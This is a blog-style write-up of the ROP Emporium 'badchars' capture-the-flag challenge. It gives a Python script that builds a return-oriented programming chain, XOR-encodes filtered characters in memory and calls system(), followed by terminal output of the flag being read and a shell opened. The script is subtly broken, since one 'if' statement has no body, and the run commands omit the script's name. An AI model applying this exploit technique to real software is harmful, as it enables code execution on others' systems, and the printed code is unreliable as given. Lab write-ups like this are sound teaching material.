ROP Emporium | badchars Solution

An arbitrary write challenge with a twist; certain input characters get mangled before finding their way onto the stack. Find a way to deal with this and craft your exploit.

The binary and challenge description can be found here:

This challenge is actually not much more difficult than the previous (write4). The only difference is that now you have to account for characters that either get mutated when they’re written to memory or just aren’t written at all. The binary has already done the hardest part for you, providing the useful gadgets. I didn’t even need to use ropper:

The hardest part of this challenge was writing the Python script.


#!/usr/bin/env python3

import sys
import random

def write_string(string, location, badchars):
    global payload
    indices = []
    for i, char in enumerate(string):
        if chr(char) in badchars:

    if indices:
        key = random.randint(1, 127)

        # This will XOR only the badchars with the key
        for i in indices:
            string = string[:i] + (int(string[i]) ^ key).to_bytes(1, "big") + string[i+1:]
            payload += (0x400b40).to_bytes(8, "little") # pop r14; pop r15; ret
            payload += (key).to_bytes(8, "little")
            payload += (location+i).to_bytes(8, "little")
            payload += (0x400b30).to_bytes(8, "little") # xor byte [r15], r14b; ret

        # Run the string through again to make sure there are no badchars
        return write_string(string, location, badchars)

    # Add a null terminator if it doesn't already exist
    if string[-1]:
        string += b"\x00"

    # This is what puts the XOR'd string into memory
    for i in range(0, len(string), 8):
        # Add null byte padding to make sure the string len is a multiple of 8
        if len(string[i:i+8]) < 8:
            string += b"\x00" * (8 - len(string[i:i+8]))
        payload += (0x400b3b).to_bytes(8, "little")  # pop r12; pop r13; ret
        payload += string[i:i+8]
        payload += (location + i).to_bytes(8, "little")
        payload += (0x400b34).to_bytes(8, "little")  # mov qword [r13], r12; ret

    # Need to reverse the order of operations in the payload (32-bytes at a time)
    payload = b"".join(reversed([payload[i:i+32] for i in range(0, len(payload), 32)]))

    return string

# NOTE: This string cannot have a bad char in the 4th position (e.g. "/bin/sh" or "cat flag.txt")
# In the .data section (0x601070), the 4th position is 0x73, which is a bad char
command = " cat flag.txt"
location = 0x601070
# This can be either a list or dict (with the chars as the keys)
badchars = { " ": 0x20, "/": 0x2f, "b": 0x62, "c": 0x63,
             "f": 0x66, "i": 0x69, "n": 0x6e, "s": 0x73 }

payload = b""
write_string(command.encode(), location, badchars)

payload = (b"A" * 40) + payload

# Execute the command
payload += (0x400b39).to_bytes(8, "little") # pop rdi; ret;
payload += (location).to_bytes(8, "little") # Address of where the string is saved to
payload += (0x4006f0).to_bytes(8, "little") # PLT address of system()


Running the exploit:

andrew ~/badchars $ ./ | ./badchars 
badchars by ROP Emporium

badchars are: b i c / <space> f n s
> ROPE{a_placeholder_32byte_flag!}

And in case you’d like to change the string to give you a shell (e.g. “bash”):

andrew ~/badchars $ (./; echo; cat) | ./badchars 
badchars by ROP Emporium

badchars are: b i c / <space> f n s
> id
uid=1000(andrew) gid=1000(andrew) groups=1000(andrew),1001(sudo)
cat flag.txt

This script is far from perfect. For instance, it doesn’t check the addresses for bad characters, only the string. Perhaps I’ll improve it in the future.

I’m also not going to provide a detailed explanation of everything the script is doing. I’ve tried to provide enough comments for this. Also, your knowledge from the previous challenges should be enough to understand it.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.